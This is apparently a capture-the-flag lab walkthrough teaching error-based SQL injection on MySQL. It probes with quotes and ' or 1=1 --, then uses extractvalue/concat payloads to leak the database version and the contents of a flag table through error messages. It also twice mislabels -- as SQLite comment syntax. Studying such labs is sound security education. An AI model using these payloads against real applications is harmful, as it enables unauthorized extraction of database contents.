Error based SQL injection

Obtain flag from table flag field flag in Mysql DBMS.

ID Name Age Weight Secret
1 Erika Lambert 40 48
2 Thomas Hahn 56 61
3 Andrea Foster 83 63

Solution

1. Enter ', send request and observe the error.

2. Enter ' or 1=1 -- and observe the output.

3. Enter ' or 1=2 -- and observe the output.

We can see that the result is always the same, and we can also trigger an error. In that case we can try to perform Error based SQL injection.

From the error message we can see that we have a MySQL DBMS, and there are several ways to cause an error in mysql, some of them are: extractvalue, updatexml and duplicate query. Lets try to extract some data from the table flag.

One of the extractvalue payloads that can be found online: ' OR (SELECT extractvalue(1, concat(0x3a,version()))) --

Explanation: in query SELECT 1 FROM capybaras WHERE name ='' OR (SELECT extractvalue(1, concat(0x3a,version()))) -- :

  • injected quote ' closes the name value
  • or add a new check to the existing name = ''
  • SELECT extractvalue returns the result of extractvalue function. Extractvalue is used to extract substring from XML content. The first argument is the XML string and the second is what to extract
  • concat(0x3a,version()) concatenate ":" to a database version. This is crucial for extractvalue function, so it will output more data than without concat.
  • -- is a comment symbol in SQLite syntax. Everything after the comment symbol is meaningless to SQL parser
So this query should return a version of database (with prepended ":") in the error message.

4. Enter ' OR (SELECT extractvalue(1, concat(0x3a,version()))) -- and observe the output.

Now we need to change database version to the flag value, so we will simply replace it with the (select flag from flag)

5. Enter ' OR (SELECT extractvalue(1, concat(0x3a,(select flag from flag limit 1)))) -- and observe the output.

Explanation: in query SELECT 1 FROM capybaras WHERE name ='' OR (SELECT extractvalue(1, concat(0x3a,(select flag from flag limit 1)))) -- ':

  • injected quote ' closes the name value
  • or add a new check to the existing name = ''
  • SELECT extractvalue returns the result of extractvalue function. Extractvalue is used to extract substring from XML content. The first argument is the XML string and the second is what to extract
  • concat(0x3a,...) concatenate ":" to the the second argument. This is crucial for extractvalue function, so it will output more data than without concat.
  • (select flag from flag limit 1) returns the content of the first row column flag of flag table.
  • -- is a comment symbol in SQLite syntax. Everything after the comment symbol is meaningless to SQL parser
So we have created such query, that returns error message with our desired content - flag.

Sometimes the resulting string can be longer than the error message can display. In that case we can trim the content of the select.

Append substring to the select flag payload: substring((select flag from flag limit 1),1,10). This function will extract 10 chars from the first char of the string. You can edit arguments (1 and 10 in our example) to change the amount of data to retrive and a shift.